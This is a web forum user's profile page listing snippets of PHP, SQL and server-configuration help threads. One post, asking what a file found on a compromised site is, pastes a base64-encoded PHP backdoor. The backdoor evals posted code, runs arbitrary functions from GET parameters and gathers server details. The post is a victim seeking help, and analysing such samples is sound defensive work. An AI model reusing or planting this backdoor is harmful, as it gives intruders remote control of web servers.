Posts
 
Reputation
Joined
Last Seen
Ranked #926
Strength to Increase Rep
+4
Strength to Decrease Rep
-1
100% Quality Score
Upvotes Received
3
Posts with Upvotes
3
Upvoting Members
3
Downvotes Received
0
Posts with Downvotes
0
Downvoting Members
0
3 Commented Posts
~15.5K People Reached
About Me

I am a musician, a computer geek, opinionated, willing to change my mind and mostly I am an average bod getting by.

Interests
Computers and music
PC Specs
iMac running a variety of virtual O/Ss
Favorite Tags
Member Avatar for slyme

Two files to edit/maintain a data array. data.php looks something like this: <?php $data_array[0]['key1'] = 'value'; $data_array[0]['key2'] = 'value'; $data_array[1]['key1'] = 'value'; $data_array[1]['key2'] = 'value'; $data_array[2]['key1'] = 'value'; $data_array[2]['key2'] = 'value'; ?> admin.php works something like this: function get_data() { include 'data.php'; // do a load of stuff with $data_array …

Member Avatar for slyme
0
527
Member Avatar for slyme

I have a plug-in for a payment gateway for a WordPress installation with a WooCommerce shopping plug-in. The payment gateway plug-in fails at the checkout. The error message may be a distraction at this point as I only want some more general advice. The error is suggesting some problem with …

0
167
Member Avatar for slyme

Hello, I am getting a bit confused regarding apostrophes in my SQL statement. I can get it to work but I would like to understand why it works when it does or, conversely, why it doesn't work when it doesn't. If you know what I mean. Anyway - here goes: …

Member Avatar for pritaeas
0
269
Member Avatar for slyme

Hi Everybody, I hope someone can help with this, it's taken so long to get this close but I just can't figure out the last small (but show stopping) detail. I start with a string of text and a font-face entered/selected via a form. I am using imagettfbbox to determine …

Member Avatar for diafol
1
1K
Member Avatar for SimonIoa

I believe that it should look something like this: $my_conn = new mysqli('localhost', 'user name', 'password', 'database name'); $sql = "SELECT * FROM messages"; $result = $my_conn->query($sql); while ($obj = $result->fetch_object()) { echo = $obj->message; } I could easily be wrong though ... hope this helps, Simon.

Member Avatar for SimonIoa
0
173
Member Avatar for Pravesh_1

`AuthUserFile "/home/machiner/.htpasswds/public_html/passwd` looks a bit iffy to me (I could be wrong, very easily!). Should it be`AuthUserFile "/home/machiner/public_html/passwd/.htpasswds` perhaps?

Member Avatar for slyme
0
282
Member Avatar for slyme

Hi, thanks for looking at this post. I have searched and experimented and after hours of getting really close I have finally admitted to my self that I'm going to have to stop and ask directions! So, I want the browser address http://drivingmeinsane/Join to be re-written to http://drivingmeinsane/?page=Join I've come …

Member Avatar for slyme
1
363
Member Avatar for Paul_17

Try this, it processes everything before updating the database: <?php // Set your variables to empty if they haven't been submitted: if (isset($_POST['First_Name'])) { $First_Name = $_POST['First_Name']; } else { $First_Name = ''; } if (isset($_POST['Last_Name'])) { $Last_Name = $_POST['Last_Name']; } else { $Last_Name = ''; } if (isset($_POST['Email'])) { …

Member Avatar for Paul_17
0
908
Member Avatar for NitinThacker

You have got a mail server running haven't you? I use IIS/PHP on Windows and I run Mercury Mail Server (because the IIS mail server is a bit of a mystery to me) to handle the email. I'm guessing that Apache/PHP on windows will also need a mail server. Also, …

Member Avatar for missy_mi
0
2K
Member Avatar for slyme

I have created a customised shopping cart coded in PHP. Once the user has filled their cart they hit checkout and all of the details, including the address detail, are posted into a PayPal shopping cart and the user can pay using a PayPal account or a credit card. After …

Member Avatar for LastMitch
0
183
Member Avatar for jayreis

I shed blood sweat and tears writing mail scripts (it's usually something to do with the boundaries or new line characters) until I found this: http://code.google.com/a/apache-extras.org/p/phpmailer/wiki/PHPMailer?tm=6

Member Avatar for jayreis
0
265
Member Avatar for HunainHafeez
Member Avatar for gilgil2

Bit of a long shot ... what happens if you set the header location to http//www.website.com/$url ?

Member Avatar for gilgil2
0
734
Member Avatar for slyme

Hi All, I have inherited a web site which is really a bit beyond me ... there's no option though, I've got to figure it out, so ... The whole site uses Apache/Python/Django/Satchmo. I want to set up a sub-domain which uses a simple Apache/PHP set up. I'm guessing that …

Member Avatar for slyme
0
200
Member Avatar for slyme

I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ …

Member Avatar for slyme
0
249
Member Avatar for slyme

Hi, Very new to JavaScript so I'm sorry if this is a daft question, I have searched for answers first and could not find anything that works for me ... so .. The task: One html form with two submit buttons. On submit (save changes) posts back to the same …

Member Avatar for twiss
0
769
Member Avatar for slyme

Hi, If I run the following mysql_query: [ICODE]SELECT * FROM products WHERE product_name LIKE '%SOM%'[/ICODE] I get the following results: [INDENT]SOM 1 - Coloured option SOM 2 - Magnetic Roof Sign SOM 4 - Magnetic Roof Sign - Centre L SOM 6 - Magnetic Roof Sign - Curved Top SOM …

Member Avatar for erickci
0
418
Member Avatar for Motorider

Stick the PHP code right at the top of the page (just to keep things neat and tidy really) above the HTML stuff. Create an empty variable, say $output_result before your existing code. Now, surround your code (not the empty variable) with an if statement. The if statement should test …

Member Avatar for dschuett
0
474
Member Avatar for Ambislm

Haven't read this all in too much detail so maybe I've got the wrong idea ... still, here's a thought ... Do you want to take the $_GET values and pass them to the next page when the user clicks submit on a form? You can leave the action blank …

Member Avatar for slyme
0
153
Member Avatar for LloydFarrell

I used get to get this problem a lot and worked around it until I figured out that you need put all header('Location: index.php'); type expressions before you send any page headers. It looks to me like you are doing this in the middle of the html document, in fact …

Member Avatar for Zagga
0
520
Member Avatar for slyme

I want to send an email and I am using the code below. It always works on my test server and my production server which are both IIS on Windows. It sometimes works the client's server. Once or twice in ten it sends. The client's server is running Apache on …

Member Avatar for slyme
0
156
Member Avatar for slyme

I have seen the mail function preceded with an @ symbol. I have tried it in my code and I cannot see what difference it makes. I have searched Google and the PHP documentation and I have not been able to find an explanation for this @ symbol. Would someone …

Member Avatar for slyme
0
96
Member Avatar for star_lavender

create a variable before the loop and set its value to 1 inside the loop, call your radio button something like my_button_X where X is the value created above. then add one to the variable before ending the loop. You could also send the final value of the variable as …

Member Avatar for star_lavender
0
3K
Member Avatar for slyme

I don't want slashes in my $_POST values. I want to deal with that kind if thing myself. I am having problems getting rid of said slashes. You can see the results of the following code here: [URL="http://www.slyme.co.uk/sanitise.php"]http://www.slyme.co.uk/sanitise.php[/URL] View the source - htmlentities seems to work, stripslashes doesn't unless I …

Member Avatar for slyme
0
167
Member Avatar for j4mes_bond25
Member Avatar for xav.vijay
-1
158
Member Avatar for mcatominey

Is "one two three" one form field? If so, you will first need to check for more than one word and then form your query to search the record field for one OR two OR three. I am sure this can be achieved in the SQL SELECT statement but I …

Member Avatar for diafol
0
148
Member Avatar for slyme

Hi, thanks for reading this ... I am passing this value (for example) to PayPal: [CODE]<input type="hidden" name="item_name" value="Ménàge à Trois California Red Wine 2007">[/CODE] The Pay Pal Shopping Cart displays this value as 'M�n�ge � Trois California Red Wine 2007' I'm guessing that this has something to do with …

0
60
Member Avatar for andydeans

If you want to do it the 'Dreamweaver Way' you could start here: [url]http://www.adobe.com/devnet/dreamweaver/application_development.html[/url]

Member Avatar for andydeans
0
190
Member Avatar for mrcniceguy

Give the users two fields - one to identify the user and one for the embedded object code from the youtube video - stick 'em both into a database and you can then read the database to output the listings. You could also stick the youtube homepage in an iframe …

Member Avatar for mrcniceguy
0
183
Member Avatar for mynameis

How do you know whether a user is an admin or a regular member? If it is a database field then simply display that as well.

Member Avatar for Designer_101
0
81